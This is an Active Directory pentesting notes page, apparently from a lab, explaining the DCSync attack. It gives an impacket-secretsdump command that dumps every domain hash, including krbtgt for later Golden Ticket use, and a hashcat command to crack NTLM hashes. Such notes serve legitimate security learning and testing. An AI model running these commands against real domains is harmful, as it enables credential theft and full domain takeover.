> For the complete documentation index, see [llms.txt](https://tt0-13.gitbook.io/overview/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://tt0-13.gitbook.io/overview/dcsync.md).

# DCSync

^^This attack is a bit unrelated to Kerberos.

### Theory

Domain controllers in a forest or domain frequently replicate data between themselves.  For instance, when a new user is created, the request is serviced by one domain controller (usually the closest one based on how the sites are architected).  Information about that new user is then replicated to all of the other DCs in that domain via the Directory Replication Service (DRS) protocol.

This attack requires domain admin privileges to succeed (more specifically, it needs the following extended privileges: `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All`). Members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups have these privileges by default.

<figure><img src="https://2000946950-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVLHdKTDYsllKhzWHEKHj%2Fuploads%2Fb0ru9VufZ20QN3EfoP4k%2Fimage.png?alt=media&amp;token=1c1a944a-e49f-479e-87aa-ae431c0942d7" alt=""><figcaption></figcaption></figure>

### Attack

Using a Domain Admin account we can run.

```
impacket-secretsdump -outputfile 'dcsync' -dc-ip 192.168.8.222 "NEPTUNECORP.LOCAL"/"mohammed.al-qahtani":"Password1"@"192.168.8.222"
```

<figure><img src="https://2000946950-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVLHdKTDYsllKhzWHEKHj%2Fuploads%2F9dXpBG1zClHg5NNWgx4v%2Fimage.png?alt=media&amp;token=a9e1cfd3-5404-4346-9a8f-2d1df1120c46" alt=""><figcaption></figcaption></figure>

This will result in.

<kbd>dcsync.ntds</kbd>

<kbd>dcsync.ntds.cleartext</kbd>

<kbd>dcsync.ntds.kerberos</kbd>

<kbd>dcsync.sam</kbd>

<kbd>dcsync.secrets</kbd>

Inside <kbd>dcsync.ntds</kbd> . you will find LM/NTLM hashes of all users, including krbtgt which we will use in the Golden Ticket attack.

So to crack the NTLM hashes you can use [Crackstation](https://crackstation.net/) or hashcat.

```
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
```
